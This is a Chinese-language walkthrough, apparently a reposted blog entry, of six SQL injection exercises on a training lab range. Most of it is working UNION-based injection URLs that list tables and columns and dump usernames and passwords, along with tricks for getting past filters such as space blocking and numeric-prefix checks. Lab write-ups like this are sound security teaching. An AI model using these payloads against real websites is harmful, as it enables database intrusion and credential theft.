mysql注入合天实验室靶场

mysql注入合天实验室靶场

实例一、热身运动,不设防

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

think:从代码看name传参是字符串型,传入的字符有单引号保护,未对传参进行任何过滤和检测。

do it:

http:10.1.1.11:81/sqli/example1.php?name=root

http:10.1.1.11:81/sqli/example1.php?name=root'

http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+

 说明有五个字段,那么我们直接进行联合查询。

http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+

http:10.1.1.11:81/sqli/example1.php?name=root’ union select 1,2,3,4,5--+

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

 拿到表名:users

那我们继续查字段

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(column_name),4,5 from information_schema.columns where table_name='users'--+

存在id,name,age,groupid,passwd字段

那我们再继续name和passwd

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),name,passwd,4,5 from users--+

 就得到我们name和passwd

实例二、节约是种美德,少用空格

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

 正则匹配不能使用空格,那我们可以使用/**/代替,因为此处不能用空格那么我们的注释就不能用--+因为+也会被当成空格

do it:

http:10.1.1.11:81/sqli/example2.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23

实例三、继承美德,不用空格

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

这里有个正则匹配\s+

\s 是匹配空白字符

+是匹配前面的子表达式一次或多次

那么我们这个里还可以使用/**/来绕过

do it:

http:10.1.1.11:81/sqli/example3.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23

实例四、看仔细点,别被吓坏了

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

这里使用了mysql_real_escape_string函数转义字符

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

这里我们就不能使用‘ “ 

我们可以使用浮点型来让其报错执行我们的联合查询语句

http:10.1.1.11:81/sqli/example4.php?id=2.1 union select database(),name,passwd,4,5 from users%23

实例五、这个规则没多大意义

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

 这里也有一个正则匹配id传参的开头必须是数字,那么我们上题的payload一样可以满足

http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%23

实例六、想用工具没门

      关键代码:

     

      本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;

本题是正则匹配我们输入的结尾必须全是数字型的,那么我们这里就直接使用%231结尾就可以绕过了

 http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%231

猜你喜欢

转载自www.cnblogs.com/stem/p/11866845.html